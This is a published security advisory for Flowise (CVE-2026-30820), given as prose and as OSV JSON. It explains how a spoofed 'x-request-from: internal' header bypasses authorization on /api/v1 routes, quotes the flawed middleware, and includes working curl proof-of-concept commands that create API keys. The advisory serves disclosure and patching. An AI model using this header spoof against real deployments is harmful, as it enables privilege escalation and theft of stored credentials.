GHSA-WVHQ-WP8G-C7VQ

Vulnerability from github – Published: 2026-03-06 18:48 – Updated: 2026-03-09 13:15
VLAI?
Summary
Flowise has Authorization Bypass via Spoofed x-request-from Header
Details

Summary

Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/** authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.

Details

The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:

if (isWhitelisted) {
    next();
} else if (req.headers['x-request-from'] === 'internal') {
    verifyToken(req, res, next);
} else {
    const { isValid } = await validateAPIKey(req);
    if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
    … // owner context stitched from API key
}

Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.

PoC

  1. Log into Flowise 3.0.8 and capture cookies (e.g., curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login).
  2. Invoke an internal-only endpoint with the spoofed header:
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -H 'x-request-from: internal' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'

The server returns HTTP 200 and the newly created key object.
  1. Remove the header and retry:
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'

This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.

The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.

Impact

This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.

Severity ?
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T18:48:22Z",
    "nvd_published_at": "2026-03-07T05:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFlowise trusts any HTTP client that sets the header `x-request-from: internal`, allowing an authenticated tenant session to bypass all `/api/v1/**` authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.\n\n### Details\n\nThe global middleware that guards `/api/v1` routes lives in `external/Flowise/packages/server/src/index.ts:214`. After filtering out the whitelist, the logic short-circuits on the spoofable header:\n\n```javascript\nif (isWhitelisted) {\n    next();\n} else if (req.headers[\u0027x-request-from\u0027] === \u0027internal\u0027) {\n    verifyToken(req, res, next);\n} else {\n    const { isValid } = await validateAPIKey(req);\n    if (!isValid) return res.status(401).json({ error: \u0027Unauthorized Access\u0027 });\n    \u2026 // owner context stitched from API key\n}\n```\n\nBecause the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before `next()` executes, so every downstream router under `/api/v1` becomes reachable.\n\n### PoC\n\n1. Log into Flowise 3.0.8 and capture cookies (e.g., `curl -c /tmp/flowise_cookies.txt \u2026 /api/v1/auth/login`).\n2. Invoke an internal-only endpoint with the spoofed header:\n\n```bash\n    curl -sS -b /tmp/flowise_cookies.txt \\\n      -H \u0027Content-Type: application/json\u0027 \\\n      -H \u0027x-request-from: internal\u0027 \\\n      -X POST http://127.0.0.1:3100/api/v1/apikey \\\n      -d \u0027{\"keyName\":\"Bypass Demo\"}\u0027\n```\n    The server returns HTTP 200 and the newly created key object.\n3. Remove the header and retry:\n\n```bash\n    curl -sS -b /tmp/flowise_cookies.txt \\\n      -H \u0027Content-Type: application/json\u0027 \\\n      -X POST http://127.0.0.1:3100/api/v1/apikey \\\n      -d \u0027{\"keyName\":\"Bypass Demo\"}\u0027\n```\n    This yields {\"error\":\"Unauthorized Access\"}, confirming the header alone controls access.\n\nThe same spoof grants access to other privileged routes like `/api/v1/credentials`, `/api/v1/tools`, `/api/v1/node-custom-function`, etc.\n\n### Impact\n\nThis is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.",
  "id": "GHSA-wvhq-wp8g-c7vq",
  "modified": "2026-03-09T13:15:20Z",
  "published": "2026-03-06T18:48:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wvhq-wp8g-c7vq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30820"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise has Authorization Bypass via Spoofed x-request-from Header"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.